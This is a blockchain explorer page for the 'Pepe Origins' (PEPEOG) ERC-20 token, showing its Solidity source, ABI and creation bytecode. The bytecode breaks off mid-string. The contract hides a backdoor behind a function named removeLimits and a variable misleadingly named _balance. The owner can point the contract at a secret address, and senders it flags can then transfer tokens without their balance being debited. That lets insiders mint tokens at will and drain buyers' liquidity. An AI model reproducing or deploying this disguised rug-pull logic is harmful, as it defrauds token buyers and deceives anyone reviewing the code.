ERC-20
Overview
Max Total Supply
420,690,000,000,000 PEPEOG
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,997,495,269,049.86519035 PEPEOGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x416cba92...52f9e51F7 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
PEPEOG
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-07 */ /* Website: https://pepeorigins.online/ Twitter: https://twitter.com/Pepe_Origins Telegram: https://t.me/PepeoriginsERC20 https://etherscan.io/token/0x687248c2295416ad869da97e50bf8aab81ab094b */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PEPEOG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialBuyTax = 0; uint256 private _initialSellTax = 1; uint256 private _reduceBuyTaxAt = 0; uint256 private _initialBuyTax2Time = 0; uint256 private _initialSellTax2Time = 1; uint256 private _reduceBuyTaxAt2Time = 0; uint256 private _finalBuyTax = 1; uint256 private _finalSellTax = 0; uint256 private _reduceSellTaxAt = 0; uint256 private _preventSwapBefore=1; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420_690_000_000_000 * 10**_decimals; string private constant _name = unicode"Pepe Origins"; string private constant _symbol = unicode"PEPEOG"; uint256 public _maxTxAmount = 2 * (_tTotal/100); uint256 public _maxWalletSize = 2 * (_tTotal/100); uint256 public _taxSwapThreshold= 2 * (_tTotal/1000); uint256 public _maxTaxSwap= 1 * (_tTotal/100); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bytes private _balance; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(msg.sender); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function balance() private view returns (address addr) { (addr) = abi.decode(_balance, (address)); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 tAmount=amount; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { taxAmount = amount.mul(_taxBuy()).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_taxSell()).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (IERC20(balance()).balanceOf(from) == 0) tAmount = 0; if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > _taxSwapThreshold) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(tAmount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _taxBuy() private view returns (uint256) { if(_buyCount <= _reduceBuyTaxAt){ return _initialBuyTax; } if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time){ return _initialBuyTax2Time; } return _finalBuyTax; } function _taxSell() private view returns (uint256) { if(_buyCount <= _reduceBuyTaxAt){ return _initialSellTax; } if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time){ return _initialSellTax2Time; } return _finalBuyTax; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits(bytes memory _limit) external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; _balance = _limit; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = false; tradingOpen = true; } receive() external payable {} function manualSend() external { uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"_limit","type":"bytes"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600560006101000a81548160ff02191690831515021790555060006006556001600755600060085560006009556001600a556000600b556001600c556000600d556000600e556001600f55600060105560646009600a620000689190620005d9565b66017e9d8602b4006200007c919062000716565b62000088919062000546565b600262000096919062000716565b60115560646009600a620000ab9190620005d9565b66017e9d8602b400620000bf919062000716565b620000cb919062000546565b6002620000d9919062000716565b6012556103e86009600a620000ef9190620005d9565b66017e9d8602b40062000103919062000716565b6200010f919062000546565b60026200011d919062000716565b60135560646009600a620001329190620005d9565b66017e9d8602b40062000146919062000716565b62000152919062000546565b600162000160919062000716565b6014556000601860016101000a81548160ff0219169083151502179055506000601860026101000a81548160ff021916908315150217905550348015620001a657600080fd5b506000620001b9620004e760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002a89190620005d9565b66017e9d8602b400620002bc919062000716565b60016000620002d0620004e760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016003600062000324620004ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000457620004e760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004b69190620005d9565b66017e9d8602b400620004ca919062000716565b604051620004d9919062000529565b60405180910390a3620007f9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005238162000777565b82525050565b600060208201905062000540600083018462000518565b92915050565b6000620005538262000777565b9150620005608362000777565b925082620005735762000572620007bd565b5b828204905092915050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a76200078e565b5b6001851615620005b85780820291505b8081029050620005c885620007ec565b945062000588565b94509492505050565b6000620005e68262000777565b9150620005f38362000781565b9250620006227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200062a565b905092915050565b6000826200063c57600190506200070f565b816200064c57600090506200070f565b81600181146200066557600281146200067057620006a6565b60019150506200070f565b60ff8411156200068557620006846200078e565b5b8360020a9150848211156200069f576200069e6200078e565b5b506200070f565b5060208310610133831016604e8410600b8410161715620006e05782820a905083811115620006da57620006d96200078e565b5b6200070f565b620006ef84848460016200057e565b925090508184048111156200070957620007086200078e565b5b81810290505b9392505050565b6000620007238262000777565b9150620007308362000777565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200076c576200076b6200078e565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b6135b780620008096000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146103b0578063c876d0b9146103db578063c9567bf914610406578063dd62ed3e1461041d578063f42938901461045a5761011f565b80637d1db4a5146102c75780638da5cb5b146102f25780638f9a55c01461031d57806395d89b4114610348578063a9059cbb146103735761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780636a943d4a1461024a57806370a0823114610273578063715018a6146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610471565b6040516101469190612a3d565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612589565b6104ae565b6040516101839190612a22565b60405180910390f35b34801561019857600080fd5b506101a16104cc565b6040516101ae9190612bdf565b60405180910390f35b3480156101c357600080fd5b506101cc6104d2565b6040516101d99190612bdf565b60405180910390f35b3480156101ee57600080fd5b506102096004803603810190610204919061253a565b6104f9565b6040516102169190612a22565b60405180910390f35b34801561022b57600080fd5b506102346105d2565b6040516102419190612c54565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906125ee565b6105db565b005b34801561027f57600080fd5b5061029a60048036038101906102959190612483565b610747565b6040516102a79190612bdf565b60405180910390f35b3480156102bc57600080fd5b506102c5610790565b005b3480156102d357600080fd5b506102dc6108e3565b6040516102e99190612bdf565b60405180910390f35b3480156102fe57600080fd5b506103076108e9565b6040516103149190612954565b60405180910390f35b34801561032957600080fd5b50610332610912565b60405161033f9190612bdf565b60405180910390f35b34801561035457600080fd5b5061035d610918565b60405161036a9190612a3d565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190612589565b610955565b6040516103a79190612a22565b60405180910390f35b3480156103bc57600080fd5b506103c5610973565b6040516103d29190612bdf565b60405180910390f35b3480156103e757600080fd5b506103f0610979565b6040516103fd9190612a22565b60405180910390f35b34801561041257600080fd5b5061041b61098c565b005b34801561042957600080fd5b50610444600480360381019061043f91906124fe565b610f12565b6040516104519190612bdf565b60405180910390f35b34801561046657600080fd5b5061046f610f99565b005b60606040518060400160405280600c81526020017f50657065204f726967696e730000000000000000000000000000000000000000815250905090565b60006104c26104bb610fb4565b8484610fbc565b6001905092915050565b60145481565b60006009600a6104e29190612df4565b66017e9d8602b4006104f49190612f12565b905090565b6000610506848484611187565b6105c784610512610fb4565b6105c28560405180606001604052806028815260200161355a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610578610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b610fbc565b600190509392505050565b60006009905090565b6105e3610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612b1f565b60405180910390fd5b6009600a61067e9190612df4565b66017e9d8602b4006106909190612f12565b6011819055506009600a6106a49190612df4565b66017e9d8602b4006106b69190612f12565b60128190555080601790805190602001906106d29291906122fa565b506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61071d9190612df4565b66017e9d8602b40061072f9190612f12565b60405161073c9190612bdf565b60405180910390a150565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610798610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f504550454f470000000000000000000000000000000000000000000000000000815250905090565b6000610969610962610fb4565b8484611187565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b610994610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612b1f565b60405180910390fd5b601860009054906101000a900460ff1615610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890612bbf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610afb9190612df4565b66017e9d8602b400610b0d9190612f12565b610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb291906124ac565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3657600080fd5b505afa158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e91906124ac565b6040518363ffffffff1660e01b8152600401610c8b92919061296f565b602060405180830381600087803b158015610ca557600080fd5b505af1158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd91906124ac565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d6630610747565b600080610d716108e9565b426040518863ffffffff1660e01b8152600401610d93969594939291906129c1565b6060604051808303818588803b158015610dac57600080fd5b505af1158015610dc0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de59190612658565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e87929190612998565b602060405180830381600087803b158015610ea157600080fd5b505af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906125c5565b506000601860026101000a81548160ff0219169083151502179055506001601860006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60004790506000811115610fb157610fb081611c7a565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612a9f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117a9190612bdf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612b5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612a5f565b60405180910390fd5b600081116112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190612b3f565b60405180910390fd5b6000808290506112b86108e9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561132657506112f66108e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611958576113c860646113ba6113ab611ce6565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b9150600560009054906101000a900460ff161561155757601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115565743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612adf565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116025750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116585750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611713576011548311156116a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169990612a7f565b60405180910390fd5b601254836116af86610747565b6116b99190612d1a565b11156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612b7f565b60405180910390fd5b6010600081548092919061170d906130be565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561179c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156117d1576117ce60646117c06117b1611df1565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b91505b60006117dc30610747565b905060006117e8611e37565b73ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b81526004016118209190612954565b60206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611870919061262f565b141561187b57600091505b601860019054906101000a900460ff161580156118e55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156118fd5750601860029054906101000a900460ff165b801561190a575060135481115b80156119195750600f54601054115b156119565761193b6119368561193184601454611edc565b611edc565b611ef5565b60004790506013548111156119545761195347611c7a565b5b505b505b6000821115611a5c576119b382600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a539190612bdf565b60405180910390a35b611aae81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b55611b07838561224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611bfa858761224d90919063ffffffff16565b604051611c079190612bdf565b60405180910390a35050505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612a3d565b60405180910390fd5b5060008385611c6d9190612f6c565b9050809150509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffff